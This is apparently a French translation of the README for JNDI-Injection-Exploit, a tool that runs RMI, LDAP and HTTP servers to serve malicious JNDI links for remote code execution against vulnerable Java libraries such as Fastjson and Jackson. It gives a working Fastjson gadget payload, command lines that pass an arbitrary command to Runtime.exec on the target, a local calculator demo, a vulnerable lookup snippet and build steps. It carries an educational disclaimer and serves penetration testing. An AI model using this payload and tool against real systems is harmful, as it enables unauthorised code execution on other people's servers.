
Outil de test d'injection JNDI(Un outil qui génère des liens JNDI peut démarrer plusieurs serveurs pour exploiter la vulnérabilité d'injection JNDI, comme Jackson, Fastjson, etc)
Documents sur l'injection JNDI
JNDI-Injection-Exploit est un outil pour générer des liens JNDI fonctionnels et fournir des services d'arrière-plan en démarrant un serveur RMI, un serveur LDAP et un serveur HTTP. Les serveurs RMI et LDAP sont basés sur marshalsec et modifiés pour se connecter au serveur HTTP.
L'utilisation de cet outil vous permet d'obtenir des liens JNDI que vous pouvez insérer dans votre POC pour tester la vulnérabilité.
Par exemple, voici un vul-poc Fastjson :
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
Nous pouvons remplacer "rmi://127.0.0.1:1099/Object" par le lien généré par JNDI-Injection-Exploit pour tester la vulnérabilité.
Toutes les informations et le code sont fournis uniquement à des fins éducatives et/ou pour tester vos propres systèmes contre ces vulnérabilités.
Exécutez comme
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [commande] [-A] [adresse]
où :
-C - commande exécutée dans le classfile distant.
(optionnelle, la commande par défaut est "open /Applications/Calculator.app")
-A - l'adresse de votre serveur, peut être une adresse IP ou un domaine.
(optionnelle, l'adresse par défaut est la première adresse d'interface réseau)
Points d'attention :
assurez-vous que les ports de votre serveur (1099, 1389, 8180) sont disponibles.
ou vous pouvez changer le port par défaut dans la classe run.ServerStart lignes 26~28.
votre commande est passée à Runtime.getRuntime().exec() en tant que paramètres,
vous devez donc vous assurer que votre commande fonctionne dans la méthode exec().
Les commandes bash comme "bash -c ...." nécessitent des guillemets doubles.
Démo locale :
Lancez l'outil comme ceci :
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
Capture d'écran :

Supposons que nous injections les liens JNDI comme rmi://ADDRESS/jfxllc générés à l'étape 1 dans une application vulnérable pouvant être attaquée par injection JNDI.
Dans cet exemple, cela ressemble à ceci :
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/fgf4fp");
}
puis, lorsque nous exécutons ce code, la commande sera exécutée,
et le journal sera affiché dans le terminal :

Nous pouvons sélectionner l'une des deux méthodes pour obtenir le jar.
Téléchargez le dernier jar depuis Realease.
Clonez le code source en local et construisez (nécessite Java 1.8+ et Maven 3.x+).
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests